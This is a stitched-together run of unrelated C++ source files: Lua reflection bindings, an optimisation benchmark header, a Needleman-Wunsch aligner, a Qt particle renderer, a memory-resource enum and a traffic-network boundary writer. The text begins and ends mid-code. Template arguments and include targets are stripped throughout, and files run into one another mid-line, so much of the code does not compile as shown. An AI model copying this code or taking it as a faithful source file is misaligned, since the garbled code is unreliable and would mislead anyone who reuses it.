paramIndex)) << "' is not a valid member of '" << luaL_tolstring(lua, ToString(lua, objectIndex), 0) << "' with type '" << GetType(lua, objectIndex) << "'"; Error(lua); } void Lua::BadCallError(lua_State* lua, int index) { ErrorBuffer << "attempt to call '" << luaL_tolstring(lua, ToString(lua, index), 0) << "', a '" << GetType(lua, index) << "' value"; Error(lua); } void Lua::BadTypeError(lua_State* lua, int index) { ErrorBuffer << "cannot create object of type '" << luaL_tolstring(lua, ToString(lua, index), 0) << "'"; Error(lua); } void Lua::BadLengthError(lua_State* lua, int index) { ErrorBuffer << "attempt to get length of type '" << GetType(lua, index) << "'"; Error(lua); } void Lua::BadArithmeticError(lua_State* lua, int index) { ErrorBuffer << "attempt to perform arithmetic on value with type '" << GetType(lua, index) << "'"; Error(lua); } void Lua::BadConcatError(lua_State* lua, int index) { ErrorBuffer << "attempt to concatenate value with type '" << GetType(lua, index) << "'"; Error(lua); } void Lua::BadBitOpError(lua_State* lua, int index) { ErrorBuffer << "attempt to perform bitwise operation on value with type '" << GetType(lua, index) << "'"; Error(lua); } void Lua::BadComparisonError(lua_State* lua, int index1, int index2) { ErrorBuffer << "attempt to compare values of types '" << GetType(lua, index1) << "' and '" << GetType(lua, index2) << "'"; Error(lua); } int Lua::ToString(lua_State* lua, int index) { lua_getglobal(lua, "tostring"); lua_pushvalue(lua, index); lua_call(lua, 1, 1); return lua_gettop(lua); } bool Lua::RunChunk(lua_State* lua, const char* source, const char* fileName, int lineNumber, int length) { for (int i = 0; fileName[i]; ++i) { if (fileName[i] == '\\' || fileName[i] == '/') { fileName += i + 1; i = -1; } } if (length == -1) for (length = 0; source[length]; ++length); const std::string chunkName = std::string("C++: ") + fileName + "[" + std::to_string(lineNumber) + "]"; int error = luaL_loadbuffer(lua, source, length, chunkName.c_str()); if (error) { if (lua_isstring(lua, -1)) std::cout << lua_tostring(lua, -1); } return error == 0; } bool Lua::TypeMatches(lua_State* lua, int index, const ReflectionData* type) { Engine::LuaData* data = nullptr; switch (lua_type(lua, index)) { case LUA_TNIL: return type->ID == coreTypeIDs.Void || type->IsClass; case LUA_TNUMBER: return ( type->ID == coreTypeIDs.Character || type->ID == coreTypeIDs.UnsignedCharacter || type->ID == coreTypeIDs.Short || type->ID == coreTypeIDs.UnsignedShort || type->ID == coreTypeIDs.Integer || type->ID == coreTypeIDs.UnsignedInteger || type->ID == coreTypeIDs.Long || type->ID == coreTypeIDs.UnsignedLong || type->ID == coreTypeIDs.LongLong || type->ID == coreTypeIDs.UnsignedLongLong || type->ID == coreTypeIDs.Float || type->ID == coreTypeIDs.Double ); case LUA_TBOOLEAN: return type->ID == coreTypeIDs.Boolean; case LUA_TSTRING: return type->ID == coreTypeIDs.String; case LUA_TTABLE: return false; case LUA_TFUNCTION: return false; case LUA_TUSERDATA: data = (Engine::LuaData*)(lua_topointer(lua, index)); return data->Meta->Inherits(type->Name); case LUA_TTHREAD: return false; case LUA_TLIGHTUSERDATA: return false; default: return false; } } const char* Lua::GetType(lua_State* lua, int index) { if (index > lua_gettop(lua)) return "nil"; if (lua_isuserdata(lua, index)) { Engine::LuaData* object = (Engine::LuaData*)lua_topointer(lua, index); return object->Meta->Name.c_str(); } else { int type = lua_type(lua, index); switch (type) { case LUA_TNIL: return "nil"; case LUA_TNUMBER: return "number"; case LUA_TBOOLEAN: return "bool"; case LUA_TSTRING: return "string"; case LUA_TTABLE: return "table"; case LUA_TFUNCTION: return "function"; case LUA_TUSERDATA: return "userdata"; case LUA_TTHREAD: return "thread"; case LUA_TLIGHTUSERDATA: return "lightuserdata"; default: return "unknown"; } } } bool Lua::ArgumentsMatch(lua_State* lua, const ReflectionData::ParameterVector& parameters, int startIndex) { for (int i = 0; i < int(parameters.size()); ++i) { bool matched = false; if (!matched) return false; } return true; } int Lua::GetOverload(lua_State* lua, const ReflectionData::Function* method, int startIndex) { const ReflectionData::OverloadVector& overloads = method->Overloads; int largestMatch = -1; int matchIndex = -1; for (int i = 0; i < int(overloads.size()); ++i) { bool matched = ArgumentsMatch(lua, overloads[i]->Parameters, startIndex); int size = int(overloads[i]->Parameters.size()); bool largerOverload = size > largestMatch; if (matched && largerOverload) { largestMatch = size; matchIndex = i; } } return matchIndex; } bool Lua::GetBoolean(lua_State* lua, int argument, int index) { if (!lua_isboolean(lua, index)) { BadArgumentError(lua, argument, "boolean", GetType(lua, index)); return false; } return lua_toboolean(lua, index); } double Lua::GetNumber(lua_State* lua, int argument, int index) { if (!lua_isnumber(lua, index)) { BadArgumentError(lua, argument, "number", GetType(lua, index)); return 0; } return lua_tonumber(lua, index); } const char* Lua::GetString(lua_State* lua, int argument, int index) { if (lua_type(lua, index) != LUA_TSTRING) { BadArgumentError(lua, argument, "string", GetType(lua, index)); return ""; } return lua_tostring(lua, index); } void* Lua::GetObject(lua_State* lua, const char* className, int argument, int index) { if (!lua_isuserdata(lua, index)) { BadArgumentError(lua, argument, className, GetType(lua, index)); return nullptr; } LuaObject* object = (LuaObject*)lua_touserdata(lua, index); if (!ReflectionData::GetType(object->typeID)->Inherits(className)) { BadArgumentError(lua, argument, className, object->typeName); return nullptr; } return object->data; } int Lua::GetObject(lua_State* lua, const char* className, int* object, int argument, int index) { if (!lua_isuserdata(lua, index)) { BadArgumentError(lua, argument, className, GetType(lua, index)); return LUA_NOREF; } if (*object != LUA_NOREF) luaL_unref(lua, LUA_REGISTRYINDEX, *object); lua_pushvalue(lua, index); *object = luaL_ref(lua, LUA_REGISTRYINDEX); return *object; } int Lua::GetThread(lua_State* lua, int* thread, int argument, int index) { if (!lua_isthread(lua, index)) { BadArgumentError(lua, argument, "thread", GetType(lua, index)); return LUA_NOREF; } if (*thread != LUA_NOREF) luaL_unref(lua, LUA_REGISTRYINDEX, *thread); lua_pushvalue(lua, index); *thread = luaL_ref(lua, LUA_REGISTRYINDEX); return *thread; } int Lua::GetFunction(lua_State* lua, int* function, int argument, int index) { if (!lua_isfunction(lua, index)) { BadArgumentError(lua, argument, "function", GetType(lua, index)); return LUA_NOREF; } if (*function != LUA_NOREF) luaL_unref(lua, LUA_REGISTRYINDEX, *function); lua_pushvalue(lua, index); *function = luaL_ref(lua, LUA_REGISTRYINDEX); return *function; } int Lua::ReleaseThread(lua_State* lua, int* thread) { if (*thread != LUA_NOREF) luaL_unref(lua, LUA_REGISTRYINDEX, *thread); *thread = LUA_NOREF; return *thread; } int Lua::ReleaseFunction(lua_State* lua, int* function) { if (*function != LUA_NOREF) luaL_unref(lua, LUA_REGISTRYINDEX, *function); *function = LUA_NOREF; return *function; } int Lua::ReleaseObject(lua_State* lua, int* object) { if (*object != LUA_NOREF) luaL_unref(lua, LUA_REGISTRYINDEX, *object); *object = LUA_NOREF; return *object; } void Lua::UnpackTable(lua_State* lua, const LuaIterator& iterator, int argument, int index) { if (!lua_istable(lua, index)) { BadArgumentError(lua, argument, "table", lua_typename(lua, index)); return; } lua_pushvalue(lua, index); lua_pushnil(lua); while (lua_next(lua, -2)) { int values = iterator(lua); lua_pop(lua, 1 + values); } lua_pop(lua, 1); } void Lua::PackTable(lua_State* lua, const LuaIterator& iterator, int arraySize, int mapSize) { lua_createtable(lua, arraySize, mapSize); int values = 0; do { values = iterator(lua); for (int i = values; i > 0; --i) lua_settable(lua, -i * 2 - 1); } while (values > 0); } int Lua::CallFunction(lua_State* lua, int function, int arguments, int results) { if (function == LUA_NOREF) return 0; lua_rawgeti(lua, LUA_REGISTRYINDEX, function); if (!lua_isfunction(lua, -1)) { lua_pop(lua, 1); return 0; } lua_insert(lua, -arguments - 1); lua_call(lua, arguments, results); return results; } typedef void(*LuaCallbackFunction)(lua_State*, const DataMember* member, void* data, int index); typedef std::vector LuaCallbackVector; void insert(LuaCallbackVector& vector, int id, LuaCallbackFunction callback) { for (int i = int(vector.size()); i <= id; ++i) vector.push_back(nullptr); vector[id] = callback; } template T& castType(void* data) { return *reinterpret_cast(data); } void Lua::ToLua(lua_State* lua, const DataMember* member, void* data, int index) { void* location = member->GetLocation(data); if (member->Type->IsClass || member->Type->IsLibrary) { if (member->Type->Inherits("Object")) { std::shared_ptr object = castType>(location); if (object == nullptr) { lua_pushnil(lua); return; } lua_pushstring(lua, "Objects"); lua_gettable(lua, LUA_REGISTRYINDEX); int objectTable = lua_gettop(lua); lua_pushnumber(lua, lua_Number(object->GetObjectID())); lua_gettable(lua, objectTable); if (lua_gettop(lua) == objectTable || lua_isnil(lua, objectTable + 1)) Engine::MakeLuaReference(lua, object->GetObjectID()); } else if (member->Type->CopyConstructor) { //Handle handle; void* data = member->Type->CreateRaw(); member->Type->CopyConstructor(data, location); Engine::MakeLuaTypeReference(lua, member->Type, data); } else { std::cout << "unimplemented" << std::endl; lua_pushnil(lua); } } else if (member->Type->IsEnum) { std::string enumValue = Engine::EnumType::GetType(member->TypeName).Items.find(*((int*)location))->second.Name;//std::string(member->TypeName.c_str(), member->TypeName.size() - 4) + '\0'; lua_getglobal(lua, "Enum"); int i = lua_gettop(lua); lua_pushstring(lua, member->TypeName.c_str()); lua_gettable(lua, i); i = lua_gettop(lua); lua_pushstring(lua, enumValue.c_str()); lua_gettable(lua, i); } else { static LuaCallbackVector types; static bool initialized = false; if (!initialized) { initialized = true; insert(types, coreTypeIDs.Void, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnil(lua); }); insert(types, coreTypeIDs.Boolean, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushboolean(lua, castType(data)); }); insert(types, coreTypeIDs.Character, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.UnsignedCharacter, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.Short, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.UnsignedShort, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.Integer, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.UnsignedInteger, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.Long, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.UnsignedLong, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.LongLong, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.UnsignedLongLong, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.Float, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.Double, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushnumber(lua, lua_Number(castType(data))); }); insert(types, coreTypeIDs.String, [](lua_State* lua, const DataMember* member, void* data, int index) { lua_pushstring(lua, castType(data).c_str()); }); insert(types, coreTypeIDs.LuaFunction, [](lua_State* lua, const DataMember* member, void* data, int index) { int id = castType(data); if (id != LUA_NOREF) lua_rawgeti(lua, LUA_REGISTRYINDEX, id); else lua_pushnil(lua); }); insert(types, coreTypeIDs.LuaThread, [](lua_State* lua, const DataMember* member, void* data, int index) { int thread = castType(data); if (thread != LUA_NOREF) lua_rawgeti(lua, LUA_REGISTRYINDEX, thread); else lua_pushnil(lua); }); insert(types, coreTypeIDs.LuaTable, [](lua_State* lua, const DataMember* member, void* data, int index) { }); } if (member->TypeID >= 0 && member->TypeID < int(types.size())) types[member->TypeID](lua, member, location, index); else { std::cout << "ToLua: unidentified type '" << member->TypeName << "'"; lua_pushnil(lua); } } } void Lua::FromLua(lua_State* lua, const DataMember* member, void* data, int index) { void* location = member->GetLocation(data); if (member->Type->IsClass || member->Type->IsLibrary) { if (lua_isuserdata(lua, index)) { if (member->Type->Inherits("Object")) { std::shared_ptr& object = castType>(location); Engine::LuaData* data = (Engine::LuaData*)lua_topointer(lua, index); object = data->Reference->Cast(); } else if (member->Type->AssignmentOperator) { Engine::LuaData* object = (Engine::LuaData*)lua_topointer(lua, index); member->Type->AssignmentOperator(location, object->Data); } else { std::cout << "unimplemented" << std::endl; lua_pushnil(lua); } } else if (member->Type->Inherits("Object") && lua_isnil(lua, index)) castType>(location).reset(); else { SetErrorMessage("Attempt to set member '" + member->Name + "' of '" + member->ParentName + "', expected '" + member->TypeName + "' got '" + std::string(GetType(lua, index)) + "'"); Lua::Error(lua); } } else if (member->Type->IsEnum) { int& value = castType(location); const Engine::EnumType& type = Engine::EnumType::GetType(member->TypeName); if (lua_isnumber(lua, index)) { value = int(lua_tonumber(lua, index)); } else if (lua_isuserdata(lua, index)) { Engine::LuaData* data = (Engine::LuaData*)lua_topointer(lua, index); if (data->Meta != nullptr && data->Meta->IsEnum && data->Meta->ParentData == member->Type) value = *((int*)data->Meta->GetMember("Value")->GetLocation(nullptr)); else { SetErrorMessage("Attempt to set member '" + member->Name + "' of '" + member->ParentName + "', expected '" + member->TypeName + "' got '" + std::string(GetType(lua, index)) + "'"); Lua::Error(lua); } } else if (lua_type(lua, index) == LUA_TSTRING) { const char* item = lua_tostring(lua, index); Engine::EnumType::EnumItemNameMap::const_iterator i = type.ItemNames.find(item); if (i != type.ItemNames.end()) value = int(type.Items.find(i->second)->second.Value); else { Lua::SetErrorMessage("Attempt to use invalid enum item '" + std::string(item) + "' of enum type '" + member->TypeName + "'"); Lua::Error(lua); } } else { SetErrorMessage("Attempt to set member '" + member->Name + "' of '" + member->ParentName + "', expected '" + member->TypeName + "' got '" + std::string(GetType(lua, index)) + "'"); Lua::Error(lua); } } else { static LuaCallbackVector types; static bool initialized = false; if (!initialized) { initialized = true; insert(types, coreTypeIDs.Void, [](lua_State* lua, const DataMember* member, void* data, int index) { // nope std::cout << "why you do this" << std::endl; }); insert(types, coreTypeIDs.Boolean, [](lua_State* lua, const DataMember* member, void* data, int index) { bool& value = castType(data); if (lua_isboolean(lua, index)) value = lua_toboolean(lua, index); else Lua::BadArgumentError(lua, index - 1, "bool", GetType(lua, index)); }); insert(types, coreTypeIDs.Character, [](lua_State* lua, const DataMember* member, void* data, int index) { char& value = castType(data); if (lua_isnumber(lua, index)) value = char(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "char", GetType(lua, index)); }); insert(types, coreTypeIDs.UnsignedCharacter, [](lua_State* lua, const DataMember* member, void* data, int index) { unsigned char& value = castType(data); if (lua_isnumber(lua, index)) value = (unsigned char)(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "unsigned char", GetType(lua, index)); }); insert(types, coreTypeIDs.Short, [](lua_State* lua, const DataMember* member, void* data, int index) { short& value = castType(data); if (lua_isnumber(lua, index)) value = short(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "short", GetType(lua, index)); }); insert(types, coreTypeIDs.UnsignedShort, [](lua_State* lua, const DataMember* member, void* data, int index) { unsigned short& value = castType(data); if (lua_isnumber(lua, index)) value = (unsigned short)(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "unsigned short", GetType(lua, index)); }); insert(types, coreTypeIDs.Integer, [](lua_State* lua, const DataMember* member, void* data, int index) { int& value = castType(data); if (lua_isnumber(lua, index)) value = int(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "int", GetType(lua, index)); }); insert(types, coreTypeIDs.UnsignedInteger, [](lua_State* lua, const DataMember* member, void* data, int index) { unsigned int& value = castType(data); if (lua_isnumber(lua, index)) value = (unsigned int)(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "unsigned int", GetType(lua, index)); }); insert(types, coreTypeIDs.Long, [](lua_State* lua, const DataMember* member, void* data, int index) { long& value = castType(data); if (lua_isnumber(lua, index)) value = long(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "long", GetType(lua, index)); }); insert(types, coreTypeIDs.UnsignedLong, [](lua_State* lua, const DataMember* member, void* data, int index) { unsigned long& value = castType(data); if (lua_isnumber(lua, index)) value = (unsigned long)(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "unsigned long", GetType(lua, index)); }); insert(types, coreTypeIDs.LongLong, [](lua_State* lua, const DataMember* member, void* data, int index) { long long& value = castType(data); if (lua_isnumber(lua, index)) value = (long long)(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "long long", GetType(lua, index)); }); insert(types, coreTypeIDs.UnsignedLongLong, [](lua_State* lua, const DataMember* member, void* data, int index) { unsigned long long& value = castType(data); if (lua_isnumber(lua, index)) value = (unsigned long long)(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "unsigned long long", GetType(lua, index)); }); insert(types, coreTypeIDs.Float, [](lua_State* lua, const DataMember* member, void* data, int index) { float& value = castType(data); if (lua_isnumber(lua, index)) value = float(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "float", GetType(lua, index)); }); insert(types, coreTypeIDs.Double, [](lua_State* lua, const DataMember* member, void* data, int index) { double& value = castType(data); if (lua_isnumber(lua, index)) value = double(lua_tonumber(lua, index)); else Lua::BadArgumentError(lua, index - 1, "double", GetType(lua, index)); }); insert(types, coreTypeIDs.String, [](lua_State* lua, const DataMember* member, void* data, int index) { std::string& value = castType(data); if (lua_type(lua, index) == LUA_TSTRING) value = lua_tostring(lua, index); else Lua::BadArgumentError(lua, index - 1, "string", GetType(lua, index)); }); insert(types, coreTypeIDs.LuaFunction, [](lua_State* lua, const DataMember* member, void* data, int index) { }); insert(types, coreTypeIDs.LuaThread, [](lua_State* lua, const DataMember* member, void* data, int index) { }); insert(types, coreTypeIDs.LuaTable, [](lua_State* lua, const DataMember* member, void* data, int index) { }); } if (member->TypeID >= 0 && member->TypeID < int(types.size())) types[member->TypeID](lua, member, location, index); else std::cout << "ToLua: unidentified type '" << member->TypeName << "'"; } } 0 /* Copyright 2016 & (Original Java version) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. email : */ #ifndef P12218319_CIO_ALPINE_HPP #define P12218319_CIO_ALPINE_HPP #include "Problem.hpp" namespace P12218319 { namespace cio { template class P12218319_EXPORT_API Alpine : public Problem { public: double P12218319_CALL operator()(typename Problem::InputArray& x) const override throw() { double y = 0.f; for(uint32_t i = 0; i < DIMENTIONS; ++i) { y += std::abs(x[i]*std::sin(x[i]) + 0.1*x[i]); } return y; } }; }} #endifsuperhit0/needleman-wunsch-cpp #include #include #include using namespace std; int main(){ cout<<"String 1: "; string a; cin>>a; cout<<"String 2: "; string b; cin>>b; int match,mismatch,gap; cout<<"Match: "; cin>>match; cout<<"Mismatch: "; cin>>mismatch; cout<<"Gap: "; cin>>gap; int len1=a.size(); int len2=b.size(); int score[len1+1][len2+1]; int dirx[]={-1,-1,0}; int diry[]={0,-1,-1}; int dir[len1+1][len2+1]; //Scoring Matrix Fill score[0][0]=0; for(int i=1;i<=len1;i++){ score[i][0]=score[i-1][0]+gap; dir[i][0]=0; } for(int i=1;i<=len2;i++){ score[0][i]=score[0][i-1]+gap; dir[0][i]=2; } for(int i=1;i<=len1;i++){ for(int j=1;j<=len2;j++){ int pos1=0; int pos2=score[i][j-1]+gap; int pos3=score[i-1][j]+gap; if(a.at(i-1)==b.at(j-1)){ pos1=score[i-1][j-1]+match; }else{ pos1=score[i-1][j-1]+mismatch; } if(pos1>=pos2&&pos1>=pos3){ score[i][j]=pos1; dir[i][j]=1; }else if(pos2>=pos1&&pos2>=pos3){ score[i][j]=pos2; dir[i][j]=2; }else{ score[i][j]=pos3; dir[i][j]=0; } } } //Trace back step string res1="",res2=""; while(!(len1==0&&len2==0)){ switch(dir[len1][len2]){ case 2: res1+='-'; res2+=b.at(len2-1); break; case 1: res1+=a.at(len1-1); res2+=b.at(len2-1); break; case 0: res1+=a.at(len1-1); res2+='-'; } int x=len1+dirx[dir[len1][len2]]; int y=len2+diry[dir[len1][len2]]; len1=x; len2=y; } reverse(res1.begin(),res1.end()); reverse(res2.begin(),res2.end()); cout<<"Final Allignment: "< #include #include #include #include MyQuickFBORenderer::MyQuickFBORenderer(QQuickWindow &window) : _window(window) { std::random_device r; std::default_random_engine e1(r()); std::uniform_real_distribution uniform_dist(-1.0, 1.0); for (auto i = 0; i < nb_Particules; ++i) { float vx = uniform_dist(e1) * 0.001; float vy = uniform_dist(e1) * 0.001; float x = uniform_dist(e1) * 0.2; float y = uniform_dist(e1) * 0.2; Particle part = { glm::vec3(x, y, 0), glm::vec3(vx, vy, 0), 0., 0. }; simulator.insert_particle(part); } } void MyQuickFBORenderer::resetSimulation() { std::random_device r; std::default_random_engine e1(r()); std::uniform_real_distribution uniform_dist(-1.0, 1.0); simulator.clear_particle(); for (auto i = 0; i < nb_Particules; ++i) { float vx = uniform_dist(e1) * 0.001; float vy = uniform_dist(e1) * 0.001; float x = uniform_dist(e1) * 0.2; float y = uniform_dist(e1) * 0.2; Particle part = { glm::vec3(x, y, 0), glm::vec3(vx, vy, 0), 0., 0. }; simulator.insert_particle(part); } } void MyQuickFBORenderer::synchronize(QQuickFramebufferObject *item) { MyQuickFBO *quickFBO = reinterpret_cast(item); _sdfRendererParams = quickFBO->sdfRenderer_Params(); quickFBO->camera().update(); _cameraInfos = quickFBO->camera().getInfos(); auto simulatorParams = quickFBO->simulator_Params(); simulator.update_param(simulatorParams); nb_Particules = std::floor(simulatorParams.nbParticules); // Reset Simulation if (simulatorParams.haveToReset == 1) resetSimulation(); quickFBO->setHaveToReset(0); } void MyQuickFBORenderer::render() { QOpenGLFunctions *functions = QOpenGLContext::currentContext()->functions(); functions->glDisable(GL_DEPTH_TEST); //_sdfRenderer.render(_cameraInfos, _sdfRendererParams); //_sdfRenderer2D.render(_simulation.gridSize()); simulator.run(); simulator.update_densities(); const auto w = DENSITY_GRID_SIZE; const auto h = DENSITY_GRID_SIZE; const auto n = w*h; std::vector data; long long total = 0; for (auto it = simulator.density_begin(); it != simulator.density_end(); ++it) { int density = (*it)*10; auto r = (unsigned char) std::min(density, 255); auto g = (unsigned char) std::min(density, 255); auto b = (unsigned char) std::min(density, 255); auto a = (unsigned char) 255; data.push_back(r); data.push_back(g); data.push_back(b); data.push_back(a); total += density; } std::cout << "TOTAL MATTER: " << total << std::endl; _imageRenderer.render(w, h, data.data()); _simulation.update(); update(); _window.resetOpenGLState(); } QOpenGLFramebufferObject * MyQuickFBORenderer::createFramebufferObject(const QSize &size) { QOpenGLFramebufferObjectFormat format; return new QOpenGLFramebufferObject(size, format); } src/umpire/resource/MemoryResourceTypes.hpp ////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2016-20, Lawrence Livermore National Security, LLC and Umpire // project contributors. See the COPYRIGHT file for details. // // SPDX-License-Identifier: (MIT) ////////////////////////////////////////////////////////////////////////////// #ifndef UMPIRE_MemoryResourceTypes_HPP #define UMPIRE_MemoryResourceTypes_HPP namespace umpire { namespace resource { struct MemoryResourceTypeHash { template std::size_t operator()(T t) const noexcept { return static_cast(t); } }; enum MemoryResourceType { Host, Device, Unified, Pinned, Constant }; } // end of namespace resource } // end of namespace umpire #endif //********************************************************* // Write_Boundary.cpp - Create Boundary Access Points //********************************************************* #include "SubareaNet.hpp" #include "Location_File.hpp" #include "Parking_File.hpp" #include "Access_File.hpp" #include "Stop_File.hpp" #include "Utility.hpp" #include //--------------------------------------------------------- // Write_Boundary //--------------------------------------------------------- void SubareaNet::Write_Boundary (void) { bool ab_flag, ba_flag; int i, node, anode, bnode, ab_dir, ba_dir; double x, y, length, len, xy_len, dx, dy, x_offset, y_offset, xa, ya, xb, yb; double factor; char string [STRING_BUFFER]; Node_Data *node_ptr; Link_Data *link_ptr; Driver_Data *driver_ptr; Dir_Data *dir_ptr; Stop_Data stop_rec; Location_File *location_file = (Location_File *) Network_Db_Base (NEW_ACTIVITY_LOCATION); Parking_File *parking_file = (Parking_File *) Network_Db_Base (NEW_PARKING); Access_File *access_file = (Access_File *) Network_Db_Base (NEW_PROCESS_LINK); Stop_File *stop_file; char *ext_dir [] = { "Origin", "Destination" }; //---- flag links on transit routes ---- if (transit_flag) { max_stop = ((max_stop + 1000) / 1000) * 1000; stop_file = (Stop_File *) Network_Db_Base (NEW_TRANSIT_STOP); for (dir_ptr = dir_data.First (); dir_ptr; dir_ptr = dir_data.Next ()) { dir_ptr->Stop_List (0); } for (driver_ptr = driver_data.First (); driver_ptr; driver_ptr = driver_data.Next ()) { for (i=1; i <= driver_ptr->Links (); i++) { dir_ptr = dir_data.Get (driver_ptr->Link_Dir (i)); if (dir_ptr != NULL) { dir_ptr->Stop_List (1); } } } } //---- round up the ID codes ---- max_location = ((max_location + 1000) / 1000) * 1000; max_parking = ((max_parking + 1000) / 1000) * 1000; max_access = ((max_access + 1000) / 1000) * 1000; max_zone = ((max_zone + 10) / 10) * 10; if (max_zone > 0) max_zone--; //---- initialize the data fields ---- for (i=1; i <= location_file->Num_Fields (); i++) { location_file->Put_Field (i, 0); } //---- process each boundary link ---- Show_Message ("Writing Boundary Link Data -- Record"); Set_Progress (1000); for (link_ptr = link_data.First (); link_ptr; link_ptr = link_data.Next ()) { Show_Progress (); //---- set the link orientation ---- if (link_ptr->Type () == 1) { anode = link_ptr->Bnode (); bnode = link_ptr->Anode (); ab_dir = link_ptr->BA_Dir (); ba_dir = link_ptr->AB_Dir (); } else if (link_ptr->Type () == 2) { anode = link_ptr->Anode (); bnode = link_ptr->Bnode (); ab_dir = link_ptr->AB_Dir (); ba_dir = link_ptr->BA_Dir (); } else { continue; } ab_flag = (ab_dir > 0); ba_flag = (ba_dir > 0); //---- get the coordinates ---- node_ptr = node_data.Get (anode); xa = node_ptr->X (); ya = node_ptr->Y (); node_ptr = node_data.Get (bnode); xb = node_ptr->X (); yb = node_ptr->Y (); //---- check the link length ---- dx = xb - xa; dy = yb - ya; xy_len = sqrt (dx * dx + dy * dy); if (xy_len < 4 * external_offset) { Warning ("Link %d from %d to %d is Too Short for Boundary Access ", link_ptr->Link (), link_ptr->Anode (), link_ptr->Bnode ()); if (xy_len < 2 * external_offset) { nshort++; continue; } } length = UnRound (link_ptr->Length ()); //--- set the access point ---- factor = external_offset / xy_len; len = UnRound (Round (length * (1.0 - factor))); x = xa + dx * factor; y = ya + dy * factor; x_offset = external_offset / xy_len * dy; y_offset = -external_offset / xy_len * dx; node = bnode; max_zone++; //--- build activity connections in each direction ---- for (i=0; i < 2; i++) { if (i) { node = anode; x_offset = -x_offset; y_offset = -y_offset; len = length - len; if (!ba_flag) continue; if (transit_flag) { dir_ptr = dir_data [ba_dir]; } } else { if (!ab_flag) continue; if (transit_flag) { dir_ptr = dir_data [ab_dir]; } } xb = x + x_offset; yb = y + y_offset; str_fmt (string, sizeof (string), "Subarea %s", ext_dir [i]); //---- add activity locations ---- nlocation++; new_location++; max_location++; location_file->Location (max_location); location_file->Node (node); location_file->Link (link_ptr->Link ()); location_file->Offset (len); location_file->Put_Field ("LAYER", "AUTO"); location_file->X (UnRound ((int) (xb + 0.5))); location_file->Y (UnRound ((int) (yb + 0.5))); location_file->Z (0.0); location_file->Put_Field ("NOTES", string); location_file->Zone (max_zone); if (!location_file->Write ()) { Error ("Writing %s", location_file->File_Type ()); } //---- add parking lot ---- nparking++; new_parking++; max_parking++; parking_file->ID (max_parking); parking_file->Node (node); parking_file->Link (link_ptr->Link ()); parking_file->Offset (len); parking_file->Type ("BNDRY"); parking_file->Space (0); parking_file->Put_Field ("GENERIC", "T"); parking_file->Put_Field ("VEHICLE", "ANY"); parking_file->Start ("ALL"); parking_file->End ("ALL"); parking_file->Put_Field ("NOTES", string); if (!parking_file->Write ()) { Error ("Writing %s", parking_file->File_Type ()); } //---- add process link ---- naccess++; new_access++; max_access++; access_file->ID (max_access); access_file->From_ID (max_location); access_file->From_Type ("ACTIVITY"); access_file->To_ID (max_parking); access_file->To_Type ("PARKING"); access_file->Time (1.0); access_file->Cost (0.0); access_file->Put_Field ("NOTES", string); if (!access_file->Write ()) { Error ("Writing %s", access_file->File_Type ()); } naccess++; new_access++; max_access++; access_file->ID (max_access); access_file->From_ID (max_parking); access_file->From_Type ("PARKING"); access_file->To_ID (max_location); access_file->To_Type ("ACTIVITY"); access_file->Time (1.0); access_file->Cost (0.0); access_file->Put_Field ("NOTES", string); if (!access_file->Write ()) { Error ("Writing %s", access_file->File_Type ()); } //---- add the transit external ---- if (transit_flag) { if (dir_ptr->Stop_List () == 1) { //---- add transit stop ---- nstop++; new_stop++; max_stop++; dir_ptr->Stop_List (max_stop); stop_file->ID (max_stop); stop_file->Name ("EXTERNAL"); if (stop_file->LinkDir_Type () == LINK_SIGN) { if (dir_ptr->Dir () == 0) { stop_file->Link (dir_ptr->Link ()); } else { stop_file->Link (-dir_ptr->Link ()); } } else if (stop_file->LinkDir_Type () == LINK_DIR) { stop_file->Link (dir_ptr->Link ()); stop_file->Dir (dir_ptr->Dir ()); } else { stop_file->Link (dir_ptr->Link ()); stop_file->Dir (node); } stop_file->Offset (len); stop_file->Type ("EXTERNAL"); stop_file->Use ("ANY"); stop_file->Space (0); stop_file->Notes (string); if (!stop_file->Write 